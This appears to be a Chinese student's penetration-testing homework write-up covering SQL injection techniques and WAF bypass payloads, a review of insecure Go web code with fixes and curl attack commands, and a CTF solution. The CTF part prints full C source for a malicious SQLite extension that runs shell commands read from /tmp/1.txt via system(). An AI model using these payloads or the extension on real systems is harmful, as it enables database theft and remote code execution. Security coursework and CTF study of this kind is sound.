渗透第二次作业

一、sql注入

1、手动注入

information_schema:记录整个数据库的信息

SCHEMATA 记录数据库名称

TABLES 记录所有表名 可以包含数据库名

TABLE_SCHEMA TABLE_NAME

COLUMNS 记录所有列名 可以查询数据库名 表名

TABLE_SCHEMA TABLE_NAME COLUMNS_NAME

复制代码
select schema_name from information_schema.schemata
//查询所有数据库的名称
select table_name from information_schema.tables where table_schema='security'
//查询security库中所有的表名
select column_name from information_schema.columns where table_name='users'
//查询所有字段名

常用函数

batabase():当前数据库

version():mysql版本

user():当前用户

注释方式

#:若#被过滤,用--+(URL 中+解析为空格)替代

--:若--被过滤,用/**/包裹关键字(如UN/**/ION)

/**/:主要用于绕过空格过滤或关键字拆分,若空格被过滤,全程用/**/替代(如SELECT/**/*/**/FROM/**/users)

闭合方式

单引号闭合

双引号闭合

数字型闭合

数据库表结构

users表

复制代码
CREATE TABLE users (
    id SERIAL PRIMARY KEY,              -- 自增主键
    name VARCHAR(255) UNIQUE NOT NULL,   -- 用户名,唯一
    password VARCHAR(255) NOT NULL       -- 密码(明文,不安全)
);

session表

复制代码
CREATE TABLE sessions (
    session_id VARCHAR(64) PRIMARY KEY,  -- 64字符十六进制字符串
    name VARCHAR(255) NOT NULL,          -- 关联的用户名
    created_at TIMESTAMP DEFAULT NOW()   -- 创建时间(应添加)
);

2、报错注入

报错注入应用于没有回显,但是会显示报错信息的情况

使用函数

foor()

extractvalue():updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

updatexml():extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

3、绕过方式

注释符绕过

复制代码
select/**/table_name/**/from
select/*!table_name*/from

大小写混淆

复制代码
SeLeCt TaBlE_NaMe FrOm

重叠混淆

复制代码
selselectectect

垃圾数据填充

原理:在注释中填充大量字符,触发正则回溯超时

复制代码
select/*a*100000*/from

正则回溯:正则表达式引擎在匹配时,如果某个分支匹配失败,会"回退"到之前的状态,尝试其他可能的匹配路径。回溯限制最大到100万次,否则函数返回false.

4、时间盲注

目标页面对 SQL 注入无任何回显(比如查询结果不展示在页面上);屏蔽了 SQL 报错信息(无法用报错注入);无法通过页面内容变化判断注入点

注意:布尔盲注是通过看页面变化来判断对错,时间盲注是靠页面响应的时间。

核心判断依据:页面响应时间

使用if语句和sleep()函数结合,进行判断 if()语句接收3个参数,第一个参数是判断条件,如果条件为真,返回第二个值,为假就返回第三个。

if(1=1,sleep(5),1)如果响应时间为5s,则证明存在时间盲注漏洞

5、 布尔盲注

应用于没有回显,不显示报错信息,但是页面会有变化的情况

页面变化判断(布尔盲注基础)

?id=1 AND 1=1 → 正常

?id=1 AND 1=2 → 异常

6、其他注入

union select注入:使用union select联合查询两个表,字段必须一致,可直接获得回显数据

堆叠注入:允许攻击者在一次查询中之心多个sql语句使用";"分隔

换字节注入:在数据库使用GBK等宽字节编码(且必须是GBK编码时才可以用宽字节注入,其他不行)时,一个汉字占两个字节。

二、CVE

1、禁用请求体限制

复制代码
// 危险代码
r.Body = http.MaxBytesReader(w, r.Body, int64(1<<63-1))

// 安全代码:保留默认限制或设置合理上限
const maxBodySize = 1 << 20 // 1MB
r.Body = http.MaxBytesReader(w, r.Body, maxBodySize)

默认情况下,HTTP包限制请求体大小为10MB

这里设置为int64(1<<63-1)(约 920 万 TB),实际上是无限制

攻击者可以发送超大号请求体导致内存耗尽(DOS攻击)

2、简单协议配置

复制代码
// 潜在问题
cfg.ConnConfig.DefaultQueryExecMode = pgx.QueryExecModeSimpleProtocol

// 正确:使用参数占位符
dbpool.QueryRow(ctx, "SELECT * FROM users WHERE name = $1", name)

// 错误:字符串拼接
sql := fmt.Sprintf("SELECT * FROM users WHERE name = '%s'", name)
dbpool.Query(ctx, sql)

SimpleProtocal模式会在客户端进行参数插值

虽然pgx会自动转义参数,担仍需确保正确使用占位符

3、明文密码存储

复制代码
-- 密码以明文形式存储
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    name VARCHAR(255),
    password VARCHAR(255)  -- 明文密码!
);

-- 使用密码哈希
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    name VARCHAR(255) UNIQUE,
    password_hash CHAR(60)  -- bcrypt 哈希
);

// 注册时哈希密码
import "golang.org/x/crypto/bcrypt"

hashedPassword, err := bcrypt.GenerateFromPassword(
    []byte(password),
    bcrypt.DefaultCost,
)

// 登录时验证
err = bcrypt.CompareHashAndPassword(
    []byte(hashedPassword),
    []byte(password),
)

4、Session永不过期

复制代码
// 问题代码
err := dbpool.QueryRow(
    ctx,
    "SELECT name FROM sessions WHERE session_id = $1",
    sessionID,
).Scan(&name)

// 添加时间检查
err := dbpool.QueryRow(
    ctx,
    `SELECT name FROM sessions
     WHERE session_id = $1
     AND created_at > NOW() - INTERVAL '1 hour'`,
    sessionID,
).Scan(&name)

Session 没由过期机制

一旦泄露,永久有效

5、缺少CSRF保护

复制代码
// 当前代码没有 CSRF token
http.SetCookie(w, &http.Cookie{Name: "session", Value: sessionID})

// 添加 CSRF token
import "github.com/gorilla/csrf"

// 在中间件中
csrfMiddleware := csrf.Protect(
    []byte("32-byte-long-secret-key"),
    csrf.Secure(true),
)

// 在模板中
<input type="hidden" name="csrf_token" value="{{.CSRFToken}}">

6、攻击场景

DOS攻击(资源耗尽)

#攻击者发送超大请求体

复制代码
curl -X POST http://localhost:8000/ \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary @huge_file.txt

由于禁用了大小限制

服务器会尝试加载整个文件到内存

导致内存耗尽,服务不可用

session固定攻击

  1. 攻击者获取初始 session

curl -c cookies.txt http://localhost:8000/

  1. 登录时使用该 session

curl -b cookies.txt -c cookies.txt -X POST http://localhost:8000/ \

-d "name=attacker&password=pass"

  1. 服务器没有更新 session ID

攻击者知道了受害者的 session ID

可以直接访问受保护的资源

三、ez-rce

burp抓包

请求方式为post

cs 复制代码
上传文件exploit.c文件
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
SQLITE_EXTENSION_INIT1
 
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
    sqlite3 *db,
    char **pzErrMsg,
    const sqlite3_api_routines *pApi
) {
    SQLITE_EXTENSION_INIT2(pApi);
 
    const char *command_file_path = "/tmp/1.txt";
    char command_buffer[512] = {0};
    FILE *file_handle;
 
    file_handle = fopen(command_file_path, "r");
    if (file_handle == NULL) {
        return SQLITE_OK;
    }
 
    if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
        command_buffer[strcspn(command_buffer, "\r\n")] = 0;
        if (strlen(command_buffer) > 0) {
            system(command_buffer);
        }
    }
    fclose(file_handle);
    return SQLITE_OK;
}

拿到flag

相关推荐
广州灵眸科技有限公司6 小时前
xfce桌面触摸校准:基于灵眸科技EASY-EAl-Orin-Nano
数据库·windows·科技
Cloud云卷云舒8 小时前
云卷云舒:从Oracle/MySQL迁移到HaishanDB:迁移评估工具核心技术拆解
mysql·oracle·ai-native·haishandb·信创数据库替换
憧憬成为web高手9 小时前
皮卡丘靶场速通--sql 2
数据库·sql·mybatis
段一凡-华北理工大学9 小时前
向量数据库实战:选型、调优与落地~系列文章12:文本分块策略实战:chunk_size 怎么选?重叠多少?
开发语言·数据库·后端·oracle·rust·工业智能体·高炉智能化
oradh11 小时前
Oracle XTTS实现跨版本迁移和升级(Oracle 11g单库升级至19C RAC集群)
数据库·oracle·11g升级19c·xtts跨版本迁移和升级
z1234567898612 小时前
2026最新两款AI编程工具深度对比实测
java·数据库·ai编程
程序猿DD12 小时前
一个 API Key,统一调用大模型、生图和联网搜索
数据库·网关
java_logo12 小时前
Docker Compose 部署 ClickHouse:快速搭建高性能列式数据库
数据库·clickhouse·docker·列式数据库·轩辕镜像·高性能数据库·clickhouse部署教程
TlSfoward13 小时前
抓包代理链路下的 TLS 指纹变化分析 TLSFOWARD抓包工具
数据库·爬虫·网络协议·搜索引擎·php
数智化管理手记13 小时前
账龄分析手工统计易遗漏?自动账龄分析工具怎么搭建
大数据·网络·数据库·人工智能·数据挖掘